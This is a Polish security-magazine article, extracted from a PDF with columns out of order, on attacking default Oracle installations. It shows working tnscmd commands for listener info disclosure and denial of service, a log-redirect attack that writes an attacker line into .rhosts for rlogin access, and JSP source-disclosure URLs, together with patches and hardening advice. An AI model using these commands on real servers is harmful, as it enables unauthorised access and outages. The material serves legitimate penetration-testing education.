Oracle z punktu widzenia intruza.pdf

<<DZIAL_A>>

<<DZIAL_B>>

Oracle z punktu

widzenia intruza

Wojciech Dworakowski

tów bazodanowych. Na tej platformie działa

wiele serwisów związanych z udostępnianiem

danych (również przez Internet). Bazy te są też

niezwykle popularne w zastosowaniach korpora-

cyjnych. Hasło marketingowe Oracle w roku 2002

brzmiało: Oracle – The Unbreakable . Czy rzeczy-

wiście tak jest? W poniższym artykule spróbuję

przybliżyć zagrożenia związane ze standardowymi

instalacjami produktów Oracle.

Już na wstępie chcę zaznaczyć, że nie

zamierzam odsądzać firmy Oracle od czci i wiary,

potępiać posunięć marketingowych i sugerować,

że DBMS Oracle jest niebezpieczny czy też dziu-

rawy jak przysłowiowe rzeszoto. Moim celem jest

wykazanie, że każdy produkt jest w większym lub

mniejszym stopniu narażony na błędy programistów

i projektantów, niezależnie od tego, co twierdzą

hasła na sztandarach. Oracle 9i to dobry produkt

bazodanowy, świadczy o tym chociażby udział

w rynku, jednak nawet tak dużym firmom i tak

renomowanym produktom zdarzają się wpadki.

Należy o tym pamiętać i nie ufać bezgranicznie

hasłom reklamowym. Nie bez kozery motto Naro-

dowej Agencji Bezpieczeństwa USA brzmi ufamy

Bogu – wszystko inne sprawdzamy .

Wszystkie opisywane błędy dotyczą instalacji

standardowej. Da się ich uniknąć stosując popraw-

ki i zalecenia producenta oraz eliminując zbędną

funkcjonalność w instalacjach produkcyjnych.

Pierwsza część artykułu będzie dotyczyć ataków

możliwych do przeprowadzenia z sieci lokalnej. Skupię

się głównie na niedoskonałościach serwisu Oracle

Listener. W drugiej części opiszę kilka zagrożeń

związanych z serwerami aplikacji internetowych

zbudowanych w oparciu o Oracle.

Część ta będzie dotyczyć głównie modułów

serwisu Apache, który wchodzi w skład rozwiązań

aplikacyjnych Oracle.

Zawodowo nie zajmuję się administracją ser-

werów Oracle. Moja praca wiąże się raczej z ana-

lizowaniem bezpieczeństwa systemów IT (testy

penetracyjne, przeglądy konfiguracji). Z tego wzglę-

du prezentowany materiał przyjmuje raczej punkt

widzenia atakującego system niż administratora.

Artykuł jest podsumowaniem ponad dwuletnich

doświadczeń w testowaniu bezpieczeństwa syste-

mów Oracle. Większość informacji pochodzi ze

źródeł powszechnie dostępnych w Internecie.

Trochę historii

Produkty firmy Oracle przez wiele lat były uważane

za aplikacje nie posiadające znaczących błędów

związanych z bezpieczeństwem. Opinia ta wynikała

najprawdopodobniej z nikłego zainteresowania badaczy

tymi produktami, co znowu było spowodowane ich

niską dostępnością. Żeby uzyskać dostęp do pełnych

wersji systemów DBMS firmy Oracle należało kupić

stosunkowo drogie licencje. Sprawy przyjęły inny

obrót, gdy Oracle zaczęło udostępniać pełne wersje

swoich produktów w Internecie. Wersje te można

stosować do celów deweloperskich i testowych.

Od około dwóch lat widać znaczne zainteresowanie

tymi produktami wśród specjalistów zajmujących

się testowaniem bezpieczeństwa aplikacji i wyszu-

kiwaniem w nich błędów.

Przyniosło to też znaczącą poprawę w podej-

ściu producenta do problemów bezpieczeństwa

samego kodu wchodzącego w skład produktów

Oracle. Wcześniej Oracle pojmowało bezpieczeństwo

tylko przez pryzmat mechanizmów zabezpieczają-

cych dane w samej aplikacji oraz zwiększających

ich dostępność.

W roku 2002 Oracle opublikowało ponad 20

informacji o zagrożeniach w swoich produktach.

Ponadto standardowe dystrybucje Oracle zawierają

w sobie komponenty Open Source – takie jak np.

Apache – które też nie są wolne od błędów.

Autor jest współwłaścicielem firmy SecuRing, koordynato-

rem prac zespołu i osobą odpowiedzialną za sporządzanie

raportów. Sześć lat doświadczenia praktycznego w zakresie

bezpieczeństwa IT. Prelegent na licznych konferencjach

poświęconych bezpieczeństwu IT (m.in. CERT Secure,

PLOUG/Oracle, Open Source Security, Windows Security).

Prowadzi rubrykę poświęconą bezpieczeństwu w Biu-

letynie Polskiej Grupy Użytkowników Systemu Oracle.

Uprzednio koordynował pracę zespołów konsultantów

bezpieczeństwa firm ABA i BSI.

Oracle Listener

Na początek garść faktów na temat oprogramowania

Oracle Listener. Jest to komponent odpowiedzialny

przede wszystkim za komunikację między klientami

a serwerem Oracle (również za komunikację mię-

dzyserwerową). Jest to element każdej instalacji

Oracle DBMS. Listener jest procesem działającym

na serwerze bazodanowym, którego zadaniem jest

www.haking.pl

Haking nr 1

P rodukty Oracle dominują na rynku produk-

<<TOP>>

Listener odpowiada na te zapytania zdradzając m.in.:

Listing 1 . Pozyskanie informacji o systemie

– komenda TNS status

• dokładną wersję Oracle,

• rodzaj systemu operacyjnego,

• czas od uruchomienia instancji Oracle,

• ścieżki do plików z logami,

• opcje listenera (m.in. stan opcji security ),

• rodzaj serwisów Oracle obsługiwanych przez listenera,

• argumenty wywołania,

• kompletne środowisko (wartości wszystkich zmiennych

systemowych), w jakim został wywołany listener.

tnscmd status -h 10.1.1.100 -p 1521

sending (CONNECT_DATA=(COMMAND=status))

to 10.1.1.100:1521

connect

writing 89 bytes

reading

. .......6.........@. ...........J........

DESCRIPTION=

TMP=

VSNNUM=135291648

ERR=0

ALIAS=LISTENER

SECURITY=OFF

VERSION=TNSLSNR for Solaris:

Version 8.1.6.3.0 - Production

START_DATE=28-OCT-2002 16:22:44

SIDNUM=1

LOGFILE=/opt/oracle/8i/network/log/listener.log

PRMFILE=/opt/oracle/8i/network/admin/listener.ora

TRACING=off

UPTIME=379500951

SNMP=OFF

Przykład pozyskania niektórych z tych informacji znajduje

się na Listingu 1.

Dane te mogą posłużyć do przygotowania skutecznego

ataku przeciwko systemowi operacyjnemu lub przeciwko

samemu oprogramowaniu Oracle.

Prosty atak DoS

Standardowa konfiguracja umożliwia trywialny atak denial

of service na Oracle Listener. Opcja SECURITY=OFF (patrz

Listing 1) mówi o tym, że listenerowi można wydawać komendy

bez jakiegokolwiek uwierzytelnienia. Standardowo dostęp

administracyjny do listenera nie jest zabezpieczony hasłem,

więc potencjalny intruz może wydać komendę:

przyjmowanie zleceń od klientów. W systemach uniksowych

jest to proces o nazwie tnslsnr , a w systemach Windows

odpowiedni serwis. Listener nasłuchuje zleceń na porcie

TCP 1521. Do komunikacji między Oracle Client a Listenerem

jest wykorzystywany protokół TNS (Transparent Network

Substrate).

Największe zagrożenia związane z Oracle Listener

nie wymagają od atakującego żadnej wiedzy tajemnej.

Nie są to klasyczne przepełnienia bufora wejściowego

lub inne typowe błędy popełniane przez programistów

(aczkolwiek takie też w nim można znaleźć). Największe

słabości listenera prawdopodobnie wynikają ze złych założeń

przyjętych podczas projektowania tego oprogramowania.

Słowem: It’s not a bug – It’s a feature . Przejdźmy jednak

do konkretów.

Do atakowania Oracle Listenera można zastosować

prosty skrypt perl o nazwie tnscmd . Można go uzyskać pod

adresem http://www.jammed.com/~jwa/hacks/security/

tnscmd/tnscmd . Skrypt ten pozwala na wydawanie komend

protokołu TNS.

tnscmd stop -h oracleserwer -p 1521

Listener posłusznie zakończy swoje działanie. Jest to typowy,

bardzo trywialny atak Denial of Service (DoS). Intruz nie

zdobył dostępu do systemu ani do danych, ale skutecznie

uniemożliwił korzystanie z systemu.

Przed tego typu atakiem można się zabezpieczyć usta-

wiając opcję security w listenerze i hasło na dostęp do

poleceń administracyjnych.

Nadpisanie dowolnego pliku

Proces listenera ( tnslsnr ) zapisuje wszystkie zdarzenia

w swoim logu. Położenie tego logu konfiguruje administra-

tor. Można je odczytać zdalnie przez opisaną poprzednio

komendę protokołu TNS – status . Na Listingu 1 jest to

wartość zmiennej LOGFILE. Co ciekawsze – za pomocą

odpowiedniego zlecenia TNS położenie pliku logowania

można zmieniać. Na dodatek, Listener ślepo przyjmuje

każdą wartość, niezależnie od tego, czy wyspecyfikowany

plik istnieje (w takim wypadku zostanie nadpisany), czy też

nie (w takim wypadku zostanie stworzony).

W rezultacie – intruz, który może komunikować się

z portem 1521 serwera Oracle, ma możliwość nadpisania

bądź utworzenia dowolnego pliku, do którego ma uprawnienia

proces Oracle Listener. Standardowo na systemach unikso-

wych jest to użytkownik oracle , a na systemach Microsoftu

użytkownik LOCAL_SYSTEM (sic!). W ten sposób intruz może

zniszczyć pliki z danymi bazy, pliki konfiguracyjne czy też

same binaria Oracle.

Uzyskanie informacji o systemie

Standardowo Oracle Listener przyjmuje komendy od każdego

i nie wymaga żadnej autoryzacji. Może to prowadzić do wielu

nadużyć. Po pierwsze, dowolny użytkownik sieci, który jest

w stanie nawiązać komunikację z portem listenera 1521 TCP,

może uzyskać bardzo dużo informacji o systemie. Odpowia-

dają za to komendy version i status protokołu TNS:

tnscmd version -h adres_serwera -p 1521

tnscmd status -h adres_serwera -p 1521

Haking nr 1

www.haking.pl

<<DZIAL_A>>

<<DZIAL_B>>

Listing 2 . Nadpisanie dowolnego pliku do którego ma dostęp użytkownik oracle (w tym wypadku jest to plik

.rhosts w katalogu domowym użytkownika oracle)

wojdwo@behemot$ ./tnscmd -h oracleserver --rawcmd “

(DESCRIPTION= (CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) (COMMAND=log_file)(ARGUMENTS=4)

(SERVICE=LISTENER) (VERSION=1) (VALUE=/home/oracle/.rhosts)))"

sending

(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)

(VERSION=1)(VALUE=/home/oracle/.rhosts)))

to oracleserver:1521

writing 205 bytes

reading

.m......"..a(DESCRIPTION=(TMP=)(VSNNUM=135294976)(ERR=0)(COMMAND=log_file)(LOGFILENAME=/home/oracle/.rhosts))

Skrypt tnscmd ma możliwość bezpośredniego wpisy-

wania ciągów znaków, które wejdą w skład zlecenia TNS.

Mając pewną wiedzę o tym protokole można skonstruować

zlecenie zmiany pliku logowania. Przykład – przekierowanie

logów do pliku /home/oracle/.rhosts – jest pokazany na

Listingu 2.

Jak już wspominaliśmy, listener zapisuje do logów infor-

macje o błędach, wraz z cytatem nieprawidłowej komendy.

Można to wykorzystać to do wpisania swojego IP i nazwy

użytkownika do pliku .rhosts (Listing 3). Ważne jest, żeby

wpisywane dane były umieszczone w osobnej linii.

Jak widać listener zwrócił komunikat o błędzie, jednakże

wpisał do swoich logów, a więc do pliku /home/oracle/

.rhosts , całą linię z błędną komendą. W tym momencie

plik /home/oracle/.rhosts (a więc obecny log Listenera)

wygląda tak jak na Listingu 4.

Linię 10.1.1.223 wojdwo intruz umieścił w pliku .rhosts

wykorzystując niedoskonałości Oracle Listener. Zostanie

ona prawidłowo zinterpretowana przez system, w rezultacie

intruz może zalogować się zdalnie jako użytkownik oracle ,

bez żadnego uwierzytelnienia. Listing 5 ilustruje zdalne

połączenie z serwerem oracleserwer i uzyskanie uprawnień

użytkownika oracle .

Podsumowując: zdalnie działający intruz zdołał, odpo-

wiednio manipulując serwisem Oracle Listener, osiągnąć

uprawnienia użytkownika oracle w systemie operacyjnym.

Oczywiście ten przykładowy scenariusz zadziała tylko

wtedy, gdy system operacyjny udostępnia możliwość zdalnego

logowania się przez rlogin oraz korzysta z plików .rhosts do

autoryzowania zdalnych użytkowników (standardowa konfigu-

Przykładowy scenariusz ataku

– przejęcie kontroli nad bazą

Po przekierowaniu logów do dowolnego pliku wszystkie

informacje logowane przez Oracle Listener będą zapisywa-

ne do tego pliku. Listener nie zapisuje do logów zbyt wiele

informacji, przykładowo nie zapisuje adresu IP ani nazwy

hosta, z którego nadeszło połączenie. W związku z tym intruz

atakujący Oracle jedną z powyższych metod nie zostanie

ujawniony przez logi listenera.

W logu są za to zapisywane są wszystkie informacje

o błędach, wraz z cytatem nieprawidłowej komendy. Umożliwia

to wpisanie do pliku pożądanej przez intruza informacji, co

w pewnych warunkach może prowadzić do przejęcia kontroli

nad systemem.

Poniżej przedstawię scenariusz ataku opierający się na

wpisaniu odpowiedniej informacji do pliku .rhosts i wykorzy-

staniu serwisu rlogin. Uwaga: poniższy scenariusz należy

traktować jedynie jako przykład. Zaprezentowane tu błędy

umożliwiają o wiele szersze możliwości penetrowania sys-

temów.

Najpierw intruz wydaje za pomocą programu tnscmd

polecenie TNS nakazujące listenerowi na serwerze orac-

leserwer zmianę pliku logowania na /home/oracle/.rhosts

(Listing 2).

Jak widać na dalszej części listingu, listener na serwerze

oracleserwer wykonał to zlecenie. Od tej pory wszystkie

zapisy o działaniu listenera będą płynąć do pliku /home/

oracle/.rhosts .

W systemach uniksowych w pliku .rhosts w katalogu

domowym użytkownika zapisane są zdalne konta i nazwy

bądź adresy IP hostów, które mogą się łączyć do tego syste-

mu bez dalszego uwierzytelniania przez serwisy rlogin, rsh,

rcmd. Celem intruza jest wpisanie do tego pliku swojego

loginu i adresu IP swojego hosta.

Listing 3 . Wykorzystanie listenera do wpisana

swoich danych do dowolnego pliku

wojdwo@behemot$ ./tnscmd -h oracleserwer \

--rawcmd "(CONNECT_DATA=((

10.1.1.223 wojdwo

sending (CONNECT_DATA=((

10.1.1.223 wojdwo

to oracleserwer:1521

writing 93 bytes

reading

.$....."..(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)

(ERROR_STACK=(ERROR=i(CODE=1153)(EMFI=4)

(ARGS='(CONNECT_DATA=((.10.1.1.223 wojdwo'))

(ERROR=(CODE=303)(EMFI=1))))

www.haking.pl

Haking nr 1

<<TOP>>

racja większości uniksów). Tak jak powiedziałem wcześniej

– jest to tylko przykład. Można skonstruować podobny atak

manipulujący kluczami ssh i w rezultacie dający dostęp do

systemu via ssh. Można również przeprowadzić podobne

ataki na Oracle działające na platformach Windows. Byłyby

one o wiele skuteczniejsze i groźniejsze nie tylko dla bazy

danych, ale też dla samego systemu, z uwagi na to, że intruz

uzyskałby uprawnienia Local System .

Powyższe zagrożenia są tym bardziej godne uwagi, że

występują po dziś dzień, we wszystkich wersjach Oracle

zawierających Oracle Listener, łącznie z najnowszą, chociaż

zagrożenie jest znane od 2000 roku. Łata wypuszczona przez

Oracle (#1361722) wprowadza do pliku konfiguracyjnego

Listenera ( listener.ora ) dodatkowy parametr – ADMIN_

RESTRICTIONS . Włączenie tego parametru uniemożliwia

dynamiczną zdalną rekonfigurację listenera. Jednak – dla

zachowania zgodności wstecz – standardowo parametr ten

jest wyłączony.

Listing 5 . Rezultatem ataku jest możliwość

zdalnego zalogowania się do systemu

z uprawnieniami użytkownika Oracle

wojdwo@behemot$ rlogin -l oracle oracleserwer

Linux oracleserwer Mon Aug 12 15:46:15 EST 2002

i686 unknown

oracle@oracleserwer:~$ id

uid=1001(oracle) gid=103(oinstall)

groups=103 (oinstall),104(dba),105(oper)

Inny ciekawy błąd wiąże się z komendą SERVICE_CURLO-

AD . Do wysłania tej komendy można wykorzystać program

tnscmd:

tnscmd -h 192.168.0.200 \

--rawcmd "(CONNECT_DATA=(COMMAND=SERVICE_CURLOAD))"

Inne ciekawe błędy Listenera

Jak już wspomniałem – powyżej zaprezentowane błędy są

o tyle ciekawe, że nie są przeoczeniem koderów, lecz błędami

popełnionymi w fazie projektowania produktu. Oczywiście,

Oracle Listener nie jest wolny od bardziej tradycyjnych zagrożeń

wiążących się np. z brakiem walidacji danych wejściowych.

Informacje o innych błędach są dostępne m.in. na stronie

http://otn.oracle.com/deploy/security/alerts.htm oraz w pro-

wadzonym przeze mnie Biuletynie Bezpieczeństwa Oracle,

który ukazuje się w gazetce Polskiej Grupy Użytkowników

Systemu Oracle. Jest ona dostępna on-line pod adresem

podanym w Ramce W Sieci .

Poniżej przedstawię dwa zagrożenia, które wydały mi się

szczególnie ciekawe. Oba są poprawione przez producenta

i istnieją na nie odpowiednie łaty.

Ciekawym błędem (przykład jego wykorzystania przedsta-

wia Listing 6) popełnionym przez programistów tworzących

Oracle Listener jest błąd pozwalający na ujawnienie informacji

przekazywanej w poprzednim połączeniu innego użytkowni-

ka z listenerem. Błąd programisty polega prawdopodobnie

na tym, że bufor, do którego są przyjmowane komunikaty,

nie jest każdorazowo czyszczony. W rezultacie ustawiając

w odpowiednim parametrze większą niż w rzeczywistości

długość wydawanej komendy TNS ( oracleserwer --cmdsize

30 ), można odczytać część komendy wydanej do listenera

przez poprzedniego użytkownika ( COMMAND=status ).

W rezultacie proces listenera (tnslsnr) konsumuje 99% czasu

procesora. Znowu – bardzo trywialny atak denial of service .

Oracle Listener – uwagi

Przedstawione powyżej ataki związane z Oracle Listener

wymagają oczywiście, żeby intruz mógł komunikować

się z tym procesem. Musi on mieć możliwość wysyłania

pakietów do portu 1521/tcp. Z tego też powodu większość

administratorów ignoruje te zagrożenia, ponieważ chronią

przed nimi firewalle, które w większości wypadków blokują

ruch na ten port. Jak w rzeczywistości wygląda ograniczanie

dostępu do portów serwerów bazodanowych mogliśmy się

przekonać pod koniec stycznia 2003 przy epidemii robaka

Slammer (Sapphire), atakującego serwery MS-SQL. Poza

tym większość intruzów nie atakuje przez frontowe drzwi.

Zamiast próbować zaatakować bezpośrednio serwer Oracle,

dużo łatwiej jest przejąć kontrolę nad jakąś stacją roboczą

w atakowanej sieci i stąd bez większych problemów prze-

prowadzić atak na Oracle Listener.

Oczywiście istnieją możliwości przynajmniej częściowego

zabezpieczania się przed powyższymi zagrożeniami. Pod-

stawowym sposobem ochrony jest włączenie w listenerze

opcji security i ustawienie hasła dostępu. Poza tym można

limitować adresy IP, które mogą łączyć się do listenera (dy-

rektywy tcp.validnode_checking i tcp.invited_nodes ) oraz

zabronić dynamicznej modyfikacji plików konfiguracyjnych

(np. logów) przez włączenie opcji ADMIN_RESTRICTIONS .

Listing 4 . Zawartość pliku /home/oracle/.rhosts

po nadpisaniu go przez Oracle Listener

Apache a'la Oracle

W ostatnich latach bardzo popularną formą udostępniania

informacji stały się serwisy WWW połączone z bazami

danych. W takiej architekturze po stronie serwera WWW

uruchamiane są pewne metody dynamiczne (np. PHP, ASP,

JSP), które pobierają dane z bazy danych i generują strony

WWW. Całość tworzy aplikacje webową. Klientem takiej

aplikacji jest oczywiście zwykła przeglądarka WWW. Oracle

12-SIE-2002 15:44:05 * log_file * 0

12-SIE-2002 15:44:37 * service_register * ora1 * 0

12-SIE-2002 15:44:58 * 1153

TNS-01153: Failed to process string: (CONNECT_DATA=((

10.1.1.223 wojdwo

NL-00303: syntax error in NV string

Haking nr 1

www.haking.pl

<<DZIAL_A>>

<<DZIAL_B>>

Listing 6 . Manipulacja protokołem TNS; w rezultacie

listener zdradza fragment poprzedniej komendy

narażać się na destabilizację serwera. Potwierdza się tu stara

zasada, że bezpieczeństwo jest odwrotnie proporcjonalne do

udostępnianej przez oprogramowanie funkcjonalności.

Poniżej przedstawię kilka przykładów ciekawych ataków

wykorzystujących luki w modułach Oracle HTTP Listener.

Wszystkie opisane zagrożenia są usuwalne przez nałożenie

odpowiednich łat producenta. Dość charakterystyczna jest

jednak ich trywialność oraz to, że praktycznie wszystkie

zostały ujawnione na przestrzeni ostatniego roku.

wojdwo@behemot$ ./tnscmd

\--rawcmd " " -h oracleserwer --cmdsize 30

sending to oracleserwer:1521

Faking command length to 30 bytes

writing 59 bytes

reading

......"...(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)

(ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)

(ARGS='CONNECT_DATA=(COMMAND=status)'))

(ERROR=(CODE=303)(EMFI=1))))

Ujawnienie kodu źródłowego

skryptów JSP

Java Server Pages (JSP) to jedna z metod, za pomocą których

serwer może generować strony WWW z zawartością dyna-

miczną, którą stanowią informacje pobrane z bazy danych.

Gdy klient (przeglądarka WWW) poprosi o stronę o rozszerze-

niu .jsp , to standardowo serwer wyszukuje odpowiedni kod

Java, kompiluje go i wykonuje. Rezultat wykonania w postaci

strony HTML jest zwracany do przeglądarki. Podczas tego

procesu w ścieżce /_pages serwera WWW tworzone są pliki

tymczasowe. Jeden z takich plików – z rozszerzeniem java

– zawiera kod źródłowy wykonywanego skryptu.

W standardowej konfiguracji Apache rozpowszechnianego

z Oracle katalog /_pages jest udostępniany przez serwer,

w związku z tym intruz może odczytać kod źródłowy stron

JSP obsługiwanych przez serwer.

Przykład: Najpierw należy uruchomić atakowany skrypt

JSP, po to, by serwer pobrał kod i go skompilował:

i inni producenci produktów bazodanowych dostrzegli ten

trend i uzupełnili swoje produkty o możliwość dostępu do

danych przez przeglądarki WWW. W przypadku Oracle ser-

werem WWW jest Oracle HTTP Listener. Jest to drugi (poza

standardowym Listenerem) sposób komunikacji z serwe-

rem Oracle, a więc również potencjalne miejsce ataków

z zewnątrz systemu.

Oracle HTTP Listener to dobrze znany serwer Apache

serii 1.3.x z dopisanymi przez Oracle modułami, które

integrują go z Oracle DBMS. Kod wykonywany po stronie

serwera może być tworzony przy pomocy wielu różnych

metod. Najważniejsze to:

• PL/SQL – język proceduralny Oracle; za jego interpreta-

cję w przypadku skryptów server-side odpowiada moduł

mod_plsql.

• Skrypty JSP i serwlety Java – obsługiwane przez JServ

( mod_jserv statycznie zlinkowany z Apache) lub Oracle

Containers for Java (OC4J). Można powiedzieć, że jeśli

chodzi o serwery aplikacji Oracle stawia na Javę. W związ-

ku z tym metody te są rozszerzone o różne ciekawe

możliwości, np. XSQL – integracja z XML, czy też SQLJ

– bezpośrednie wykonywanie zapytań SQL z wnętrza

skryptów Java.

• Inne tradycyjne metody, jak np. skrypty CGI czy Perl

( mod_cgi i mod_perl są standardowo włączone).

http://10.1.1.100/demo/sql/bean/ConnBeanDemo.jsp

Teraz można odczytać źródło skryptu JSP odwołując się do

odpowiedniego pliku w ścieżce /_pages :

http://10.1.1.100/_pages/_demo/_sql/_bean/

_ConnBeanDemo.java

Żeby obronić się przed tym zagrożeniem wystarczy zabronić

w konfiguracji Apache dostępu do ścieżki /_pages . Wszelkie

skrypty JSP powinny też być przechowywane w postaci pre-

kompilowanej. W ten sposób uniknie się potencjalnie niebez-

piecznej konieczności kompilowania skryptów w momencie

dostępu do nich, co przy okazji poprawi też wydajność.

Ponadto Oracle udostępnia całe mnóstwo technologii uzu-

pełniających, takich jak zaawansowane buforowanie stron

dynamicznych (Oracle Web Cache), framework do tworzenia

stron portalowych (Oracle Portal), implementacje WebDAV

i inne.

Nietrudno się domyślić, że większość z tych modułów

dodatkowych posiada bardzo długą i szybko rozwijającą się

listę zagrożeń z nimi związanych. Jest to sytuacja typowa

dla oprogramowania, które jest bardzo szybko rozwijane.

Oczywiście – w standardowej instalacji jest włączona więk-

szość z tych rozszerzeń. Jak wskazuje praktyka, mało która

instalacja produkcyjna ma konfigurację mocno odbiegającą

od standardowej, a administratorzy z braku wiedzy o wszyst-

kich zaawansowanych komponentach, wolą je zostawić niż

Skrypty demo

Wiele zagrożeń wiąże się z umieszczonymi w standardowej

instalacji Oracle skryptami demonstrującymi funkcjonalność

Oracle jako serwera aplikacji. Skrypty te są umieszczone

w ścieżce /demo . Wiele z tych przykładów nie jest niestety

dobrymi wzorcami do naśladowania, zwłaszcza jeśli chodzi

o zasady bezpiecznego programowania. Duża ilość skryptów

demonstrujących pobieranie danych z bazy na podstawie

zmiennych pochodzących od użytkownika jest podatna na

ataki typu SQL injection . Dobra praktyka administracyjna

nakazuje usunięcie z serwerów produkcyjnych wszelkiej

www.haking.pl

Haking nr 1

115

Plik z chomika:

Inne pliki z tego folderu:

Inne foldery tego chomika: